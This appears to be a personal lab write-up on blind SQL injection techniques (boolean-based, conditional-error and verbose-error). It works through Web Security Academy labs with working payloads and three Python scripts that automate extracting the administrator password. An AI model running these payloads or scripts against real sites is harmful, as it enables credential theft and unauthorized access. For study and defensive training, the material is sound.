Skip to main content

What is Blind SQL Injection?

Blind SQLi is when the application is vulnerable but HTTP responses don’t return query results or error details — making UNION attacks ineffective since there’s nothing to read back.

Exploiting via Conditional Responses

Consider a tracking cookie processed like this: Blind SQL injection tracking cookie
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
The app shows a “Welcome back” message if the query returns results — nothing otherwise. That single boolean difference is enough to extract data. Injecting two conditions back to back:
xyz' AND '1'='1   ← true  → "Welcome back" shown
xyz' AND '1'='2   ← false → "Welcome back" gone
This lets you ask yes/no questions against the database and infer data one bit at a time.

Extracting Data Character by Character

To brute-force the Administrator password, test one character at a time using SUBSTRING:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
  • “Welcome back” shown → first char is after m in the alphabet
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
  • No “Welcome back” → first char is not after t
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
  • “Welcome back” shown → first char is s
Repeat for each character position until the full password is recovered.
SUBSTRING is called SUBSTR on some databases — check the SQL injection cheat sheet.

Lab: Conditional Response (Administrator Password Extraction)

In this lab, I exploited a blind SQL injection vulnerability in the TrackingId cookie to extract the administrator password character by character. The application returned a different response when the injected condition evaluated to true, which allowed boolean-based extraction.

Working Payload

GET / HTTP/2
Host: 0adc00e4030450ba84de4c2e00db005d.web-security-academy.net
Cookie: TrackingId=fFLn3TqBCmm6fOZe' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 21) = 'ewlza94ll9bheae3vstzm'-- ; session=phcqNI4KVhQcLxvjczOHuCFq30LseaYV
The injection works because the backend query likely looks like:
WHERE TrackingId = '<cookie value>'
By injecting:
' AND <condition>--
I:
  • Closed the original string
  • Appended a boolean condition
  • Commented out the rest of the original query

Mistake I Kept Making

I got stuck multiple times because I forgot to append -- at the end of the payload. Without the comment:
  • The original query was not properly terminated
  • The trailing ' from the application broke the syntax
  • The condition never evaluated correctly
Important detail: -- must usually be followed by a space. Correct pattern:
' AND <condition>--

Extraction Method

I used Burp Intruder to brute-force the password using prefix matching. Strategy:
  1. Start with length = 1
  2. Bruteforce the first character
  3. Increase substring length gradually
  4. Continue expanding the known prefix
Example:
' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 1, 5) = 'ewlza'--
If the response indicated true, the prefix was correct. I increased the substring length from 1 up to 21.

Where It Stopped Working

When I tested length 21, I stopped getting matches. This indicated:
  • The actual password length was likely 20 characters
  • Comparing beyond the real length caused the condition to return false
This confirmed that the full password had been extracted.

Cleaner Alternative Approach

Instead of matching growing prefixes, a more controlled method is testing one character at a time:
' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 5, 1) = 'a'--
This avoids long prefix comparisons and reduces potential mistakes.

Key Takeaways

  • Always terminate injections with -- .
  • A missing SQL comment can completely break blind SQLi.
  • If increasing substring length stops producing matches, you likely exceeded the real string length.
  • Boolean-based blind SQLi works reliably when response differences exist.
  • Burp Intruder is effective for structured character-by-character extraction.

Error-Based Blind SQL Injection

Sometimes a query runs, but the page looks the same whether your condition is true or false. In that case, normal boolean response checks do not help. The workaround is to make the database throw an error only when a condition is true. Then you infer truth from a response difference (500 error, different page length, missing content, etc.).

Two Common Outcomes

  • Conditional error channel: trigger an error only when your condition is true.
  • Verbose DB errors: in misconfigured apps, actual query data may leak directly in error messages.

Conditional Error Pattern

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
  • 1=2 path returns 'a' and usually no DB error.
  • 1=1 path hits 1/0 (divide-by-zero), causing a DB error.
If the HTTP response changes between these two payloads, you can use this as a true/false oracle.

Extracting Data With Conditional Errors

xyz' AND (
  SELECT CASE
    WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm')
    THEN 1/0
    ELSE 'a'
  END
  FROM Users
)='a
One-liner (Burp-friendly):
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
If the request now errors, the condition is true. If it does not, the condition is false. Repeat this per character and position to recover the full value.

Lab: Conditional Errors (Oracle, Administrator Password)

Vulnerable input: TrackingId cookie Goal:
  • Extract administrator password
  • Log in as administrator

Step 1: Confirm Injection (Oracle)

' || (SELECT '' FROM dual) || '
If this is accepted, test a forced failure:
' || (SELECT '' FROM dualfiewifow) || '
If behavior changes, the parameter is injectable.

Step 2: Confirm users Table

' || (SELECT '' FROM users WHERE ROWNUM = 1) || '
If this works, users exists. Why ROWNUM = 1 matters:
  • A scalar subquery inside || (...) || must return exactly one row.
  • (SELECT '' FROM users) can return many rows -> Oracle throws ORA-01427: single-row subquery returns more than one row.
  • (SELECT '' FROM users WHERE ROWNUM = 1) is capped to one row -> valid.

Step 3: Confirm administrator Row

First, check the row directly:
' || (SELECT '' FROM users WHERE username='administrator') || '
Then validate your error channel baseline:
' || (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
Now trigger an error only if administrator exists:
' || (
  SELECT CASE
    WHEN (1=1) THEN TO_CHAR(1/0)
    ELSE ''
  END
  FROM users
  WHERE username='administrator'
) || '
One-liner (Burp-friendly):
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
False-user check (should stay 200):
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='fwefwoeijfewow') || '
  • Error response (500) -> condition true
  • Normal response (200) -> condition false
Why both payloads can still return 200 in blind SQLi:
  • username='administrator' and username='fake_user' checks can both be syntactically valid and non-crashing.
  • 200 only means the query executed, not that your condition was true.
  • You need a conditional side effect (error or delay) to create a visible true/false signal.

Step 4: Find Password Length

' || (
  SELECT CASE
    WHEN (1=1) THEN TO_CHAR(1/0)
    ELSE ''
  END
  FROM users
  WHERE username='administrator' AND LENGTH(password)>19
) || '
One-liner (Burp-friendly):
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)>19) || '
Adjust the number until you identify the exact length.

Step 5: Extract Password Characters

' || (
  SELECT CASE
    WHEN (1=1) THEN TO_CHAR(1/0)
    ELSE ''
  END
  FROM users
  WHERE username='administrator' AND SUBSTR(password,1,1)='a'
) || '
One-liner (Burp-friendly):
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,1,1)='a') || '
Change position and candidate character until all characters are confirmed. Recovered password in this run:
wjuc497wl6szhbtf0cbf

Python Automation

1) My Version
import requests

url = "https://0ab600ed03fa738380f00da500d200c4.web-security-academy.net/"
chars = list('abcdefghijklmnopqrstuvwxyz0123456789')
password = ""
switch = True
counter = 1

while switch:
  switch = False
  for i in range(0, len(chars)):
    payload = f"dtzF9IcZvrKHYyez' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{counter},1)='{chars[i]}') || '"
    headers = {'Cookie' : f'TrackingId={payload}; session=7lX1aOCANa2tHPmFi5uwxzYV8CQVaxtC'}

    r = requests.get(url, headers=headers)
    print(r.status_code)
    if r.status_code == 500:
      password = password + chars[i]
      switch = True
      counter += 1

print(password)
2) My Version (AI Improved)
import requests

url = "https://0a3f0090039da8e28008128b001700f6.web-security-academy.net/"
chars = '0123456789abcdefghijklmnopqrstuvwxyz'  # ASCII order
session = requests.Session()

TRACKING_ID = "1ZQg7u4x2pUganpD"
SESSION_COOKIE = "Mbce8cZSOv2mUbykvP8EK2UY2WGgkU24"


def check_greater_than(position, char):
  """Check if character at position is greater than char"""
  payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)>'{char}') || '"
  headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'}
  r = session.get(url, headers=headers, timeout=10)
  return r.status_code == 500


def char_exists_at_position(position, char):
  """Verify the character actually equals what we found"""
  payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)='{char}') || '"
  headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'}
  r = session.get(url, headers=headers, timeout=10)
  return r.status_code == 500


def find_char_at_position(position):
  """Binary search to find character at given position"""
  low, high = 0, len(chars) - 1

  while low < high:
    mid = (low + high) // 2
    if check_greater_than(position, chars[mid]):
      low = mid + 1
    else:
      high = mid

  return chars[low]


# Main extraction loop
password = ""
position = 1

while True:
  char = find_char_at_position(position)

  # Verify this character actually exists
  if not char_exists_at_position(position, char):
    break

  password += char
  print(f"[+] Position {position}: {char} | Password: {password}")
  position += 1

print(f"\n[✓] Final password: {password}")
3) Tutorial Version
import sys
import requests
import urllib3
import urllib.parse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


def sqli_password(url):
  password_extracted = ""
  for i in range(1,21):
    for j in range(32,126):
      sqli_payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i,j)
      sqli_payload_encoded = urllib.parse.quote(sqli_payload)
      cookies = {'TrackingId': 'FGDUewi6MoAn18KJ' + sqli_payload_encoded, 'session': 'VdmCjrlz6I6zAXGXEp2u32p0OXKDGhm2'}
      r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
      if r.status_code == 500:
        password_extracted += chr(j)
        sys.stdout.write('\r' + password_extracted)
        sys.stdout.flush()
        break
      else:
        sys.stdout.write('\r' + password_extracted + chr(j))
        sys.stdout.flush()


def main():
  if len(sys.argv) !=2:
    print("(+) Usage: %s <url>" % sys.argv[0])
    print("(+) Example: %s www.example.com" % sys.argv[0])
    sys.exit(-1)

  url = sys.argv[1]
  print("(+) Retreiving administrator password...")
  sqli_password(url)


if __name__ == "__main__":
  main()

Extracting Sensitive Data via Verbose SQL Errors

Some applications expose raw database errors when input breaks a query. This is often a misconfiguration, and it can reveal exactly how your payload is being embedded. Example after injecting a single quote into an id parameter:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
What this tells you:
  • You are inside a single-quoted string.
  • The injection point is in a WHERE clause.
  • You likely need to close the quote and comment out the tail to keep syntax valid.
This can turn an otherwise blind issue into a visible one if the app reflects database error details back to you.

Forcing Data into an Error with CAST()

You can intentionally trigger a type-conversion error that includes query data. CAST() is useful for this:
CAST((SELECT example_column FROM example_table) AS int)
If example_column is text, many databases throw an error like:
ERROR: invalid input syntax for type integer: "Example data"
Now the value (Example data) is leaked in the error message. Why this matters:
  • It gives direct data output when normal page content is blind.
  • It can still work when strict character limits make larger conditional payloads hard to use.
  • It is often faster than boolean extraction when verbose errors are available.

Lab: Visible Error-Based SQLi (Administrator Password)

Goal: leak the administrator password from DB errors, then log in.

Quick Approach

  1. Confirm quote-breaking behavior in TrackingId:
TrackingId=GA9UUdl1nUvjSjgU'
  1. Use a payload that forces string-to-int conversion on the password:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
  1. Read the DB error. If verbose errors are enabled, the failing value is shown:
ERROR: invalid input syntax for type integer: "<leaked_password>"
  1. Use the leaked password to authenticate as administrator.

Useful Mistakes I Made (and Fixes)

  • Mistake: I kept the original tracking ID prefix (GA9UUdl1nUvjSjgU) before the injection. Result: payload was too long and got cut mid-query. Seen as: ... FROM users WHE'. Expected char Fix: remove the original value and start directly with ' to save space.
  • Mistake: I used the longer filter payload first:
TrackingId=GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--
Result: truncation before WHERE finished. Fix: start with shorter extraction (LIMIT 1) to validate the technique, then refine if needed.
  • Mistake: forgetting to neutralize the trailing quote from the original query. Fix: close the string and end with -- so the rest of the server query is ignored.

Compact Payload Options

Primary (short, reliable for technique validation):
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
If multiple rows require iteration:
' AND 1=CAST((SELECT password FROM users LIMIT 1 OFFSET 0) AS int)--
Then increase OFFSET until you leak the target account, or switch to a shorter user filter if the lab allows it.

Lab #18 Notes (My Run)

End goal: exploit SQLi in TrackingId, leak admin credentials from users, and log in as administrator. Observed backend pattern after quote testing:
select trackingId from trackingIdTable where trackingId='pFNjoVuG3fnTFJ3a''
SELECT * FROM tracking WHERE id = 'pFNjoVuG3fnTFJ3a'--'. Expected  char
Payload progression I used:
pFNjoVuG3fnTFJ3a' AND CAST((SELECT 1) as int)--
' AND 1=CAST((SELECT username from users LIMIT 1) as int)--
' AND 1=CAST((SELECT password from users LIMIT 1) as int)--
Recovered password in this run:
fc9v2vqq5gozv1cb0ibj
Quick validation logic:
  • If payload is malformed/truncated, you get unterminated string errors.
  • If CAST forces string -> int conversion, the DB error leaks the selected value.
  • Once password is leaked, authenticate as administrator to solve the lab.

Understanding Expected char

This error text is easy to misread. It usually means your payload was truncated, which left an unclosed string. What a string literal means here:
  • A string literal is plain text wrapped in single quotes in SQL, like 'admin'.
  • In this query, the cookie value is placed inside a string literal:
WHERE id = '<cookie value>'
  • If your injection adds or breaks ' quotes incorrectly, SQL thinks the text string started but never finished.
Example error:
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHE'. Expected char
What is happening:
  • Input was cut around position 95 (cookie length/validation limit).
  • WHERE was truncated to WHE.
  • Truncation left a dangling '.
  • SQL parser sees a started string literal with no closing quote.
What Expected char actually means:
  • Not “I need a specific character”.
  • It means: “string literal started, but input ended before completion”.
Visual:
Full payload:
' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--

Server received (truncated):
' AND 1=CAST((SELECT password FROM users WHE'
Fix: shorten the payload to fit the limit.
'AND CAST((SELECT password FROM users LIMIT 1)AS int)=1--
This removes unnecessary spaces and avoids wasting characters on the original tracking ID prefix.